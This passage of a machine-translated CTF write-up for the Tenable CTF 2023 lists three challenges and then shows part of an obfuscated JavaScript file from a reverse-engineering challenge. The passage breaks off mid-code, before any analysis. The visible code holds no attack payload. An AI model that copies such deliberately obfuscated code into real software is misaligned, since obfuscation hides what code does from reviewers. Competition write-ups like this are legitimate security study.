{"componentChunkName":"component---src-templates-post-template-js","path":"/ctf-tenable-ctf-2023-en","result":{"data":{"markdownRemark":{"id":"fd1303c2-c6aa-5be1-a28e-7a4cb8db02d0","html":"<blockquote>\n<p>This page has been machine-translated from the <a href=\"/ctf-tenable-ctf-2023\">original page</a>.</p>\n</blockquote>\n<p>I participated in the Tenable CTF, which started on 8/10.</p>\n<p>It even included a Nintendo DS binary challenge, which I was trying for the first time, so I had a great time.</p>\n<!-- omit in toc -->\n<h2 id=\"table-of-contents\" style=\"position:relative;\"><a href=\"#table-of-contents\" aria-label=\"table of contents permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>Table of Contents</h2>\n<ul>\n<li><a href=\"#the-javascript-onerev\">The Javascript One(Rev)</a></li>\n<li><a href=\"#brick-breakerrev\">Brick Breaker(Rev)</a></li>\n<li><a href=\"#skiddyana-pwnz-and-the-loom-of-fatepwn\">Skiddyana Pwnz and the Loom of Fate(Pwn)</a></li>\n</ul>\n<h2 id=\"the-javascript-onerev\" style=\"position:relative;\"><a href=\"#the-javascript-onerev\" aria-label=\"the javascript onerev permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>The Javascript One(Rev)</h2>\n<p>I was given a very long, obfuscated JavaScript file.</p>\n<div class=\"gatsby-highlight\" data-language=\"javascript\"><pre class=\"language-javascript\"><code class=\"language-javascript\"><span class=\"token keyword\">var</span> _0x4b0817<span class=\"token operator\">=</span>_0x3cdb<span class=\"token punctuation\">;</span><span class=\"token punctuation\">(</span><span class=\"token keyword\">function</span><span class=\"token punctuation\">(</span><span class=\"token parameter\">_0x25abc1<span class=\"token punctuation\">,</span>_0x1b11ab</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">{</span><span class=\"token keyword\">var</span> _0x21dd4f<span class=\"token operator\">=</span>_0x3cdb<span class=\"token punctuation\">,</span>_0x15cf55<span class=\"token operator\">=</span><span class=\"token function\">_0x25abc1</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span><span class=\"token keyword\">while</span><span class=\"token punctuation\">(</span><span class=\"token operator\">!</span><span class=\"token operator\">!</span><span class=\"token punctuation\">[</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">{</span><span class=\"token keyword\">try</span><span class=\"token punctuation\">{</span><span class=\"token keyword\">var</span> _0x187219<span class=\"token operator\">=</span><span class=\"token function\">parseInt</span><span class=\"token punctuation\">(</span><span class=\"token function\">_0x21dd4f</span><span class=\"token punctuation\">(</span><span class=\"token number\">0x1ca</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token operator\">/</span><span class=\"token punctuation\">(</span><span class=\"token number\">0x1389</span><span class=\"token operator\">*</span><span class=\"token number\">0x1</span><span class=\"token operator\">+</span><span class=\"token number\">0x57b</span><span class=\"token operator\">*</span><span class=\"token number\">0x2</span><span class=\"token operator\">+</span><span class=\"token operator\">-</span><span class=\"token number\">0x1e7e</span><span class=\"token punctuation\">)</span><span class=\"token operator\">*</span><span class=\"token punctuation\">(</span><span class=\"token function\">parseInt</span><span class=\"token punctuation\">(</span><span class=\"token function\">_0x21dd4f</span><span class=\"token punctuation\">(</span><span class=\"token number\">0x194</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token operator\">/</span><span class=\"token punctuation\">(</span><span class=\"token operator\">-</span><span class=\"token number\">0x1</span><span class=\"token operator\">*</span><span class=\"token number\">0x1e08</span><span class=\"token operator\">+</span><span class=\"token number\">0xb8e</span><span class=\"token operator\">*</span><span class=\"token operator\">-</span><span class=\"token number\">0x3</span><span class=\"token operator\">+</span><span class=\"token number\">0x40b4</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token operator\">+</span><span class=\"token operator\">-</span><span class=\"token function\">parseInt</span><span class=\"token punctuation\">(</span><span class=\"token function\">_0x21dd4f</span><span class=\"token punctuation\">(</span><span class=\"token number\">0x1c2</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token operator\">/</span><span class=\"token punctuation\">(</span><span class=\"token operator\">-</span><span class=\"token number\">0x1a7d</span><span class=\"token operator\">*</span><span class=\"token number\">0x1</span><span class=\"token operator\">+</span><span class=\"token number\">0x952</span><span class=\"token operator\">+</span><span class=\"token number\">0x112e</span><span class=\"token punctuation\">)</span><span class=\"token operator\">*</span><span class=\"token punctuation\">(</span><span class=\"token operator\">-</span><span class=\"token function\">parseInt</span><span class=\"token punctuation\">(</span><span class=\"token function\">_0x21dd4f</span><span class=\"token punctuation\">(</span><span class=\"token number\">0x1a6</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token operator\">/</span><span class=\"token punctuation\">(</span><span class=\"token number\">0xbf6</span><span class=\"token operator\">+</span><span class=\"token operator\">-</span><span class=\"token number\">0x8</span><span class=\"token operator\">*</span><span class=\"token operator\">-</span><span class=\"token number\">0x13a</span><span class=\"token operator\">+</span><span class=\"token operator\">-</span><span class=\"token number\">0x15c2</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token operator\">+</span><span class=\"token function\">parseInt</span><span class=\"token punctuation\">(</span><span class=\"token function\">_0x21dd4f</span><span class=\"token punctuation\">(</span><span class=\"token number\">0x1ad</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token operator\">/</span><span class=\"token punctuation\">(</span><span class=\"token operator\">-</span><span class=\"token number\">0x185</span><span class=\"token operator\">*</span><span class=\"token operator\">-</span><span class=\"token number\">0x1</span><span class=\"token operator\">+</span><span class=\"token operator\">-</span><span class=\"token number\">0x4</span><span class=\"token operator\">*</span><span class=\"token operator\">-</span><span class=\"token number\">0x3cf</span><span class=\"token operator\">+</span><span class=\"token number\">0xc</span><span class=\"token operator\">*</span><span class=\"token operator\">-</span><span class=\"token number\">0x165</span><span class=\"token punctuation\">)</span><span class=\"token operator\">+</span><span class=\"token function\">parseInt</span><span class=\"token punctuation\">(</span><span class=\"token function\">_0x21dd4f</span><span class=\"token punctuation\">(</span><span class=\"token number\">0x1a2</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token operator\">/</span><span class=\"token punctuation\">(</span><span class=\"token number\">0x20</span><span class=\"token operator\">*</span><span class=\"token number\">0x133</span><span class=\"token operator\">+</span><span class=\"token operator\">-</span><span class=\"token number\">0x7f1</span><span class=\"token operator\">*</span><span class=\"token number\">0x4</span><span class=\"token operator\">+</span><span class=\"token number\">0x6</span><span class=\"token operator\">*</span><span class=\"token operator\">-</span><span class=\"token number\">0x119</span><span class=\"token punctuation\">)</span><span class=\"token operator\">+</span><span class=\"token function\">parseInt</span><span class=\"token punctuation\">(</span><span class=\"token function\">_0x21dd4f</span><span class=\"token punctuation\">(</span><span class=\"token number\">0x1c9</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token operator\">/</span><span class=\"token punctuation\">(</span><span class=\"token number\">0x1</span><span class=\"token operator\">*</span><span class=\"token number\">0xfb6</span><span class=\"token operator\">+</span><span class=\"token number\">0x2</span><span class=\"token operator\">*</span><span class=\"token number\">0xc83</span><span class=\"token operator\">+</span><span class=\"token operator\">-</span><span class=\"token number\">0x265</span><span class=\"token operator\">*</span><span class=\"token number\">0x11</span><span class=\"token punctuation\">)</span><span class=\"token operator\">+</span><span class=\"token function\">parseInt</span><span class=\"token punctuation\">(</span><span class=\"token function\">_0x21dd4f</span><span class=\"token punctuation\">(</span><span class=\"token number\">0x1a7</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token operator\">/</span><span class=\"token punctuation\">(</span><span class=\"token number\">0x25a6</span><span class=\"token operator\">+</span><span class=\"token operator\">-</span><span class=\"token number\">0x3</span><span class=\"token operator\">*</span><span class=\"token operator\">-</span><span class=\"token number\">0x621</span><span class=\"token operator\">+</span><span class=\"token operator\">-</span><span class=\"token number\">0x3801</span><span class=\"token punctuation\">)</span><span class=\"token operator\">*</span><span class=\"token punctuation\">(</span><span class=\"token operator\">-</span><span class=\"token function\">parseInt</span><span class=\"token punctuation\">(</span><span class=\"token function\">_0x21dd4f</span><span class=\"token punctuation\">(</span><span class=\"token number\">0x1b7</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token operator\">/</span><span class=\"token punctuation\">(</span><span class=\"token operator\">-</span><span class=\"token number\">0x18e</span><span class=\"token operator\">*</span><span class=\"token operator\">-</span><span class=\"token number\">0x16</span><span class=\"token operator\">+</span><span class=\"token number\">0x8aa</span><span class=\"token operator\">+</span><span class=\"token operator\">-</span><span class=\"token number\">0x2b</span><span class=\"token operator\">*</span><span class=\"token number\">0xff</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token operator\">+</span><span class=\"token operator\">-</span><span class=\"token function\">parseInt</span><span class=\"token punctuation\">(</span><span class=\"token function\">_0x21dd4f</span><span class=\"token punctuation\">(</span><span class=\"token number\">0x1cb</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token operator\">/</span><span class=\"token punctuation\">(</span><span class=\"token number\">0x113e</span><span class=\"token operator\">+</span><span class=\"token operator\">-</span><span class=\"token number\">0x141c</span><span class=\"token operator\">+</span><span class=\"token number\">0x2e8</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span><span class=\"token keyword\">if</span><span class=\"token punctuation\">(</span>_0x187219<span class=\"token operator\">===</span>_0x1b11ab<span class=\"token punctuation\">)</span><span class=\"token keyword\">break</span><span class=\"token punctuation\">;</span><span class=\"token keyword\">else</span> _0x15cf55<span class=\"token punctuation\">[</span><span class=\"token string\">'push'</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">(</span>_0x15cf55<span class=\"token punctuation\">[</span><span class=\"token string\">'shift'</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span><span class=\"token punctuation\">}</span><span class=\"token keyword\">catch</span><span class=\"token punctuation\">(</span>_0x21d777<span class=\"token punctuation\">)</span><span class=\"token punctuation\">{</span>_0x15cf55<span class=\"token punctuation\">[</span><span class=\"token string\">'push'</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">(</span>_0x15cf55<span class=\"token punctuation\">[</span><span class=\"token string\">'shift'</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span><span class=\"token punctuation\">}</span><span class=\"token punctuation\">}</span><span class=\"token punctuation\">}</span><span class=\"token punctuation\">(</span>_0x1393<span class=\"token punctuation\">,</span><span class=\"token operator\">-</span><span class=\"token number\">0x34942</span><span class=\"token operator\">*</span><span class=\"token operator\">-</span><span class=\"token number\">0x1</span><span class=\"token operator\">+</span><span class=\"token operator\">-</span><span class=\"token number\">0xb9ef</span><span class=\"token operator\">*</span><span class=\"token number\">0x5</span><span class=\"token operator\">+</span><span class=\"token number\">0x21f</span><span class=\"token operator\">*</span><span class=\"token number\">0x1a7</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span><span class=\"token keyword\">var</span> _0x5114<span class=\"token operator\">=</span><span class=\"token punctuation\">[</span><span class=\"token function\">_0x4b0817</span><span class=\"token punctuation\">(</span><span class=\"token number\">0x185</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span><span class=\"token function\">_0x4b0817</span><span class=\"token punctuation\">(</span><span class=\"token number\">0x1bf</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span><span class=\"token string\">''</span><span class=\"token punctuation\">,</span><span class=\"token function\">_0x4b0817</span><span class=\"token punctuation\">(</span><span class=\"token number\">0x1c6</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span><span class=\"token function\">_0x4b0817</span><span class=\"token punctuation\">(</span><span class=\"token number\">0x1bb</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span><span class=\"token function\">_0x4b0817</span><span class=\"token punctuation\">(</span><span class=\"token number\">0x18f</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span><span class=\"token function\">_0x4b0817</span><span class=\"token punctuation\">(</span><span class=\"token number\">0x1a3</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span><span class=\"token function\">_0x4b0817</span><span class=\"token punctuation\">(</span><span class=\"token number\">0x1a5</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span><span class=\"token function\">_0x4b0817</span><span class=\"token punctuation\">(</span><span class=\"token number\">0x1b5</span><span class=\"token punctuation\">)</span><span class=\"token operator\">+</span><span class=\"token function\">_0x4b0817</span><span class=\"token punctuation\">(</span><span class=\"token number\">0x18e</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span><span class=\"token function\">_0x4b0817</span><span class=\"token punctuation\">(</span><span class=\"token number\">0x1a9</span><span class=\"token punctuation\">)</span><span class=\"token operator\">+</span><span class=\"token function\">_0x4b0817</span><span class=\"token punctuation\">(</span><span class=\"token number\">0x1a8</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span><span class=\"token function\">_0x4b0817</span><span class=\"token punctuation\">(</span><span class=\"token number\">0x1c3</span><span class=\"token punctuation\">)</span><span class=\"token operator\">+</span><span class=\"token function\">_0x4b0817</span><span class=\"token punctuation\">(</span><span class=\"token number\">0x1c4</span><span class=\"token punctuation\">)</span><span class=\"token operator\">+</span><span class=\"token function\">_0x4b0817</span><span class=\"token punctuation\">(</span><span class=\"token number\">0x180</span><span class=\"token punctuation\">)</span><span class=\"token operator\">+</span><span class=\"token string\">'=='</span><span class=\"token punctuation\">,</span><span class=\"token function\">_0x4b0817</span><span class=\"token punctuation\">(</span><span class=\"token number\">0x1ab</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span><span class=\"token function\">_0x4b0817</span><span class=\"token punctuation\">(</span><span class=\"token number\">0x1b1</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span><span class=\"token function\">_0x4b0817</span><span class=\"token punctuation\">(</span><span class=\"token number\">0x1c1</span><span class=\"token punctuation\">)</span><span class=\"token operator\">+</span><span class=\"token string\">'MY'</span><span class=\"token punctuation\">,</span><span class=\"token function\">_0x4b0817</span><span class=\"token punctuation\">(</span><span class=\"token number\">0x195</span><span class=\"token punctuation\">)</span><span class=\"token operator\">+</span><span class=\"token function\">_0x4b0817</span><span class=\"token punctuation\">(</span><span class=\"token number\">0x187</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span><span class=\"token function\">_0x4b0817</span><span class=\"token punctuation\">(</span><span class=\"token number\">0x1d0</span><span class=\"token punctuation\">)</span><span class=\"token operator\">+</span><span class=\"token string\">'de'</span><span class=\"token punctuation\">,</span><span class=\"token function\">_0x4b0817</span><span class=\"token punctuation\">(</span><span class=\"token number\">0x182</span><span class=\"token punctuation\">)</span><span class=\"token operator\">+</span><span class=\"token function\">_0x4b0817</span><span class=\"token punctuation\">(</span><span class=\"token number\">0x1ce</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span><span class=\"token function\">_0x4b0817</span><span class=\"token punctuation\">(</span><span class=\"token number\">0x192</span><span class=\"token punctuation\">)</span><span class=\"token operator\">+</span><span class=\"token function\">_0x4b0817</span><span class=\"token punctuation\">(</span><span class=\"token number\">0x1b2</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span><span class=\"token function\">_0x4b0817</span><span class=\"token punctuation\">(</span><span class=\"token number\">0x1d2</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span><span class=\"token function\">_0x4b0817</span><span class=\"token punctuation\">(</span><span class=\"token number\">0x1a0</span><span class=\"token punctuation\">)</span><span class=\"token operator\">+</span><span class=\"token string\">'Cv'</span><span class=\"token punctuation\">,</span><span class=\"token function\">_0x4b0817</span><span class=\"token punctuation\">(</span><span class=\"token number\">0x186</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">,</span><span class=\"token function\">_0x4b0817</span><span class=\"token punctuation\">(</span><span class=\"token number\">0x1a1</span><span class=\"token punctuation\">)</span><span class=\"token operator\">+</span><span class=\"token string\">'I'</span><span class=\"token punctuation\">,</span><span class=\"token function\">_0x4b0817</span><span class=\"token punctuation\">(</span><span class=\"token number\">0x181</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">,</span>_0x7f9546<span class=\"token operator\">=</span>_0x3e24<span class=\"token punctuation\">;</span><span class=\"token punctuation\">(</span><span class=\"token keyword\">function</span><span class=\"token punctuation\">(</span><span class=\"token parameter\">_0x2039c6<span class=\"token punctuation\">,</span>_0x12f713</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">{</span><span class=\"token keyword\">var</span> _0x24cab8<span class=\"token operator\">=</span>_0x4b0817<span class=\"token punctuation\">,</span>_0x5ed4a9<span class=\"token operator\">=</span><span class=\"token punctuation\">{</span><span class=\"token string-property property\">'XogTu'</span><span class=\"token operator\">:</span><span class=\"token keyword\">function</span><span class=\"token punctuation\">(</span><span class=\"token parameter\">_0x4afa24</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">{</span><span class=\"token keyword\">return</span> <span class=\"token function\">_0x4afa24</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span><span class=\"token punctuation\">}</span><span class=\"token punctuation\">,</span><span class=\"token string-property property\">'yyyaI'</span><span class=\"token operator\">:</span><span class=\"token keyword\">function</span><span class=\"token punctuation\">(</span><span class=\"token parameter\">_0x309c66<span class=\"token punctuation\">,</span>_0x17e50c</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">{</span><span class=\"token keyword\">return</span> _0x309c66<span class=\"token operator\">+</span>_0x17e50c<span class=\"token punctuation\">;</span><span class=\"token punctuation\">}</span><span class=\"token punctuation\">,</span><span class=\"token string-property property\">'ZDyDa'</span><span class=\"token operator\">:</span><span class=\"token keyword\">function</span><span class=\"token punctuation\">(</span><span class=\"token parameter\">_0x4d4143<span class=\"token punctuation\">,</span>_0x38feb7</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">{</span><span class=\"token keyword\">return</span> _0x4d4143<span class=\"token operator\">+</span>_0x38feb7<span class=\"token punctuation\">;</span><span class=\"token punctuation\">}</span><span class=\"token punctuation\">,</span><span class=\"token string-property property\">'fQYsf'</span><span class=\"token operator\">:</span><span class=\"token keyword\">function</span><span class=\"token punctuation\">(</span><span class=\"token parameter\">_0x423427<span class=\"token punctuation\">,</span>_0x4a76cb</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">{</span><span class=\"token keyword\">return</span> _0x423427<span class=\"token operator\">+</span>_0x4a76cb<span class=\"token punctuation\">;</span><span class=\"token punctuation\">}</span><span class=\"token punctuation\">,</span><span class=\"token string-property property\">'XkZxe'</span><span class=\"token operator\">:</span><span class=\"token keyword\">function</span><span class=\"token punctuation\">(</span><span class=\"token parameter\">_0x1c2500<span class=\"token punctuation\">,</span>_0x211bd6</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">{</span><span class=\"token keyword\">return</span> _0x1c2500<span class=\"token operator\">+</span>_0x211bd6<span class=\"token punctuation\">;</span><span class=\"token punctuation\">}</span><span class=\"token punctuation\">,</span><span class=\"token string-property property\">'YtPFU'</span><span class=\"token operator\">:</span><span class=\"token keyword\">function</span><span class=\"token punctuation\">(</span><span class=\"token parameter\">_0x4f310c<span class=\"token punctuation\">,</span>_0x29107b</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">{</span><span class=\"token keyword\">return</span> _0x4f310c<span class=\"token operator\">+</span>_0x29107b<span class=\"token punctuation\">;</span><span class=\"token punctuation\">}</span><span class=\"token punctuation\">,</span><span class=\"token string-property property\">'LElVZ'</span><span class=\"token operator\">:</span><span class=\"token keyword\">function</span><span class=\"token punctuation\">(</span><span class=\"token parameter\">_0x4da361<span class=\"token punctuation\">,</span>_0x3d844a</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">{</span><span class=\"token keyword\">return</span> _0x4da361<span class=\"token operator\">*</span>_0x3d844a<span class=\"token punctuation\">;</span><span class=\"token punctuation\">}</span><span class=\"token punctuation\">,</span><span class=\"token string-property property\">'lthNi'</span><span class=\"token operator\">:</span><span class=\"token keyword\">function</span><span class=\"token punctuation\">(</span><span class=\"token parameter\">_0x254f36<span class=\"token punctuation\">,</span>_0x4036b9</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">{</span><span class=\"token keyword\">return</span> _0x254f36<span class=\"token operator\">/</span>_0x4036b9<span class=\"token punctuation\">;</span><span class=\"token punctuation\">}</span><span class=\"token punctuation\">,</span><span class=\"token string-property property\">'FnyYM'</span><span class=\"token operator\">:</span><span class=\"token keyword\">function</span><span class=\"token punctuation\">(</span><span class=\"token parameter\">_0x2a6bae<span class=\"token punctuation\">,</span>_0x131a5f</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">{</span><span class=\"token keyword\">return</span> <span class=\"token function\">_0x2a6bae</span><span class=\"token punctuation\">(</span>_0x131a5f<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span><span class=\"token punctuation\">}</span><span class=\"token punctuation\">,</span><span class=\"token string-property property\">'cqLDK'</span><span class=\"token operator\">:</span><span class=\"token keyword\">function</span><span class=\"token punctuation\">(</span><span class=\"token parameter\">_0x3484d5<span class=\"token punctuation\">,</span>_0x10daef</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">{</span><span class=\"token keyword\">return</span> _0x3484d5<span class=\"token operator\">/</span>_0x10daef<span class=\"token punctuation\">;</span><span class=\"token punctuation\">}</span><span class=\"token punctuation\">,</span><span class=\"token string-property property\">'XAodd'</span><span class=\"token operator\">:</span><span class=\"token keyword\">function</span><span class=\"token punctuation\">(</span><span class=\"token parameter\">_0x53a610<span class=\"token punctuation\">,</span>_0x6585ab</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">{</span><span class=\"token keyword\">return</span> <span class=\"token function\">_0x53a610</span><span class=\"token punctuation\">(</span>_0x6585ab<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span><span class=\"token punctuation\">}</span><span class=\"token punctuation\">,</span><span class=\"token string-property property\">'GGhhk'</span><span class=\"token operator\">:</span><span class=\"token keyword\">function</span><span class=\"token punctuation\">(</span><span class=\"token parameter\">_0x3c1e55<span class=\"token punctuation\">,</span>_0xbe132</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">{</span><span class=\"token keyword\">return</span> <span class=\"token function\">_0x3c1e55</span><span class=\"token punctuation\">(</span>_0xbe132<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span><span class=\"token punctuation\">}</span><span class=\"token punctuation\">,</span><span class=\"token string-property property\">'Yfgkk'</span><span class=\"token operator\">:</span><span class=\"token keyword\">function</span><span class=\"token punctuation\">(</span><span class=\"token parameter\">_0x12798b<span class=\"token punctuation\">,</span>_0x49e92a</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">{</span><span class=\"token keyword\">return</span> _0x12798b<span class=\"token operator\">/</span>_0x49e92a<span class=\"token punctuation\">;</span><span class=\"token punctuation\">}</span><span class=\"token punctuation\">,</span><span class=\"token string-property property\">'TLayY'</span><span class=\"token operator\">:</span><span class=\"token keyword\">function</span><span class=\"token punctuation\">(</span><span class=\"token parameter\">_0x1f8df0<span class=\"token punctuation\">,</span>_0x3ee29e</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">{</span><span class=\"token keyword\">return</span> <span class=\"token function\">_0x1f8df0</span><span class=\"token punctuation\">(</span>_0x3ee29e<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span><span class=\"token punctuation\">}</span><span class=\"token punctuation\">,</span><span class=\"token string-property property\">'LtDWI'</span><span class=\"token operator\">:</span><span class=\"token keyword\">function</span><span class=\"token punctuation\">(</span><span class=\"token parameter\">_0x47290d<span class=\"token punctuation\">,</span>_0x84e5f8</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">{</span><span class=\"token keyword\">return</span> _0x47290d<span class=\"token operator\">/</span>_0x84e5f8<span class=\"token punctuation\">;</span><span class=\"token punctuation\">}</span><span class=\"token punctuation\">,</span><span class=\"token string-property property\">'MDSIC'</span><span class=\"token operator\">:</span><span class=\"token keyword\">function</span><span class=\"token punctuation\">(</span><span class=\"token parameter\">_0x30a462<span class=\"token punctuation\">,</span>_0x10fac8</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">{</span><span class=\"token keyword\">return</span> <span class=\"token function\">_0x30a462</span><span class=\"token punctuation\">(</span>_0x10fac8<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span><span class=\"token punctuation\">}</span><span class=\"token punctuation\">,</span><span class=\"token string-property property\">'UeUNF'</span><span class=\"token operator\">:</span><span class=\"token keyword\">function</span><span class=\"token punctuation\">(</span><span class=\"token parameter\">_0x101122<span class=\"token punctuation\">,</span>_0x37e9b8</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">{</span><span class=\"token keyword\">return</span> <span class=\"token function\">_0x101122</span><span class=\"token punctuation\">(</span>_0x37e9b8<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span><span class=\"token punctuation\">}</span><span class=\"token punctuation\">,</span><span class=\"token string-property property\">'RzOAR'</span><span class=\"token operator\">:</span><span class=\"token keyword\">function</span><span class=\"token punctuation\">(</span><span class=\"token parameter\">_0x28b535<span class=\"token punctuation\">,</span>_0x2464c0</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">{</span><span class=\"token keyword\">return</span> _0x28b535<span class=\"token operator\">*</span>_0x2464c0<span class=\"token punctuation\">;</span><span class=\"token punctuation\">}</span><span class=\"token punctuation\">,</span><span class=\"token string-property property\">'yZQwd'</span><span class=\"token operator\">:</span><span class=\"token keyword\">function</span><span class=\"token punctuation\">(</span><span class=\"token parameter\">_0x30521b<span class=\"token punctuation\">,</span>_0x45abb4</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">{</span><span class=\"token keyword\">return</span> <span class=\"token function\">_0x30521b</span><span class=\"token punctuation\">(</span>_0x45abb4<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span><span class=\"token punctuation\">}</span><span class=\"token punctuation\">,</span><span class=\"token string-property property\">'fDKaB'</span><span class=\"token operator\">:</span><span class=\"token keyword\">function</span><span class=\"token punctuation\">(</span><span class=\"token parameter\">_0x104758<span class=\"token punctuation\">,</span>_0x2e7690</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">{</span><span class=\"token keyword\">return</span> <span class=\"token function\">_0x104758</span><span class=\"token punctuation\">(</span>_0x2e7690<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span><span class=\"token punctuation\">}</span><span class=\"token punctuation\">,</span><span class=\"token string-property property\">'pepyh'</span><span class=\"token operator\">:</span><span class=\"token keyword\">function</span><span class=\"token punctuation\">(</span><span class=\"token parameter\">_0x48c45c<span class=\"token punctuation\">,</span>_0x23453a</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">{</span><span class=\"token keyword\">return</span> <span class=\"token function\">_0x48c45c</span><span class=\"token punctuation\">(</span>_0x23453a<span class=\"token punctuation\">)</span><span class=\"token punctuation\">;</span><span class=\"token punctuation\">}</span><span class=\"token punctuation\">,</span><span class=\"token string-property property\">'HVjXx'</span><span class=\"token operator\">:</span><span class=\"token keyword\">function</span><span class=\"token punctuation\">(</span><span class=\"token parameter\">_0x53995d<span class=\"token punctuation\">,</span>_0x1b9ace</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">{</span><span class=\"token keyword\">return</span> _0x53995d<span class=\"token operator\">*</span>_0x1b9ace<span class=\"token punctuation\">;</span><span class=\"token punctuation\">}</span><span class=\"token punctuation\">,</span><span class=\"token string-property property\">'Srhqn'</span><span class=\"token operator\">:</span><span class=\"token keyword\">function</span><span class=\"token punctuation\">(</span><span class=\"token parameter\">_0x4d9b65<span class=\"token punctuation\">,</span>_0x4ea57c</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">{</span><span class=\"token keyword\">return</span> <span class=\"token function\">_0x4d9b65</span><span class=\"token punctuation\">(</span>_0x4ea57c<span class=\"token punctuation\">)</span><span 